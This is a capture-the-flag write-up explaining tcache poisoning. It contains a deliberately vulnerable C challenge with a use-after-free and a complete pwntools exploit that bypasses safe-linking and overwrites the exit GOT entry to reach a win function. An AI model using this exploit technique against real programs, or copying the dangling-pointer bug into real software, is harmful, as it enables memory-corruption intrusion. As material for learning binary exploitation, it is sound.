Tcache poisoning
just another biN
What is tcache
stands for thread local cache, supposed to replace what fastbins and smallbins are.
every chunk size (up to 0x410) has its own tcache bin which can store up to 7 chunks.
some structs for reference
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread char tcache_shutting_down = 0;
static __thread tcache_perthread_struct *tcache = NULL;
Exploitation
If you get control of the next pointer of a freed chunk, we can allocate to an arbitrary address giving us a write primitive.
This challenge is an example of that.
// gcc chal.c -no-pie -o chal
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_DANCES 16
#define DANCE_SIZE 256
char *dances[MAX_DANCES];
void win() {
printf("PEARTO IS PLEASED\n");
system("cat flag.txt");
exit(0);
}
void create_dance() {
int index;
printf("WHERE IS TETO DANCING? (0 to %d) > ", MAX_DANCES - 1);
scanf("%d", &index);
getchar(); // Consume the newline character
if (index < 0 || index >= MAX_DANCES) {
printf("WE CAN'T DANCE HERE.\n");
return;
}
dances[index] = (char *)malloc(DANCE_SIZE * sizeof(char));
printf("DESCRIBE TETO'S DANCE (max %d characters) > ", DANCE_SIZE - 1);
fgets(dances[index], DANCE_SIZE, stdin);
dances[index][strcspn(dances[index], "\n")] = 0;
printf("TETO IS NOW DANCING AT POSITION %d AT %p.\n", index, dances[index]);
}
void delete_dance() {
int index;
printf("WHICH DANCE MUST GO? (0 to %d) > ", MAX_DANCES - 1);
scanf("%d", &index);
if (index < 0 || index >= MAX_DANCES || dances[index] == NULL) {
printf("THERE IS NO DANCE HERE.\n");
return;
}
free(dances[index]);
printf("NOW THE DANCE AT %d IS GONE.\n", index);
}
void edit_dance() {
int index;
printf("ENTER THE DANCE YOU WOULD LIKE MODIFIED > ", MAX_DANCES - 1);
scanf("%d", &index);
getchar(); // Consume the newline character
if (index < 0 || index >= MAX_DANCES || dances[index] == NULL) {
printf("THERE IS NO DANCE HERE.\n");
return;
}
printf("DESCRIBE YOUR NEW DANCE. (max %d characters) > ", DANCE_SIZE - 1);
fgets(dances[index], DANCE_SIZE, stdin);
dances[index][strcspn(dances[index], "\n")] = 0; // Remove newline character
printf("TETO IS NOW DANCING A NEW DANCE AT %d.\n", index);
}
int main() {
int choice;
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
while (1) {
printf("-------\nLIAR DANCER\n-------\n");
printf("1. CREATE DANCE\n");
printf("2. DELETE DANCE\n");
printf("3. EDIT DANCE\n");
printf("4. QUIT\n\n");
printf("TETOTETOTETO > ");
scanf("%d", &choice);
switch (choice) {
case 1:
create_dance();
break;
case 2:
delete_dance();
break;
case 3:
edit_dance();
break;
case 4:
return 0;
default:
printf("LIAR!!!\n");
exit(0);
}
}
return 0;
}
We have the ability to create 16 allocations and there is no NULL of pointers after freeing, giving us UAF with the edit_dance function.
We can overwrite one of the GOT functions with win such as exit as there is no FULL RELRO.
We also need to bypass safe-linking which requires a heap leak.
from pwn import *
elf = context.binary = ELF("./chal_patched")
context.binary = elf
context.log_level = 'debug'
if args.REMOTE:
p = remote("chall.nypinfosec.net", 8004)
else:
p = elf.process()
gdb.attach(p, gdbscript='''break *main''')
sla = lambda a, b: p.sendlineafter(a, b)
def create_dance(index, data):
sla(b"TETOTETOTETO > ", b"1")
sla(b"> ", str(index).encode())
sla(b"> ", data)
resp = p.recvuntil(b".\n").decode()
parts = resp.split(" AT ")
addr_str = parts[2].split(".")[0]
return int(addr_str, 16)
def delete_dance(index):
sla(b"TETOTETOTETO > ", b"2")
sla(b"> ", str(index).encode())
def edit_dance(index, data):
sla(b"TETOTETOTETO > ", b"3")
sla(b"> ", str(index).encode())
sla(b"> ", data)
# Target addresses
win_addr = elf.symbols['win']
exit_got = 0x404058
log.info(f"win() address: {hex(win_addr)}")
log.info(f"exit GOT address: {hex(exit_got)}")
# Check alignment
log.info(f"exit_got alignment check: {hex(exit_got)} % 16 = {exit_got % 16}")
# The issue might be that we need to target a properly aligned address
# Let's try targeting the exit GOT minus 8 bytes to ensure alignment
target = exit_got - 8 # 0x404050 should be aligned
log.info(f"Adjusted target: {hex(target)}")
# Step 1: Create two chunks
victim_addr = create_dance(0, b"A" * 100)
log.info(f"Victim chunk: {hex(victim_addr)}")
guard_addr = create_dance(1, b"B" * 100)
log.info(f"Guard chunk: {hex(guard_addr)}")
# Step 2: Free both chunks (order matters!)
delete_dance(0) # victim first
delete_dance(1) # guard second (becomes head)
# Step 3: Calculate proper mangled address
chunk_key = guard_addr >> 12
mangled_target = target ^ chunk_key
log.info(f"Chunk key: {hex(chunk_key)}")
log.info(f"Mangled target: {hex(mangled_target)}")
log.info(f"Target alignment check: {hex(target)} % 16 = {target % 16}")
# Step 4: Poison the head chunk's fd pointer
edit_dance(1, p64(mangled_target))
# Step 5: Allocate twice
create_dance(2, b"dummy") # Gets guard chunk
# Step 6: Now we have a chunk at (exit_got - 8)
# Write our payload with 8 bytes padding + win_addr
payload = b"A" * 8 + p64(win_addr)
create_dance(3, payload) # Writes win_addr to exit GOT
# Step 7: Trigger exit
log.info("Triggering exit...")
sla(b"TETOTETOTETO > ", b"999")
p.interactive()
Last updated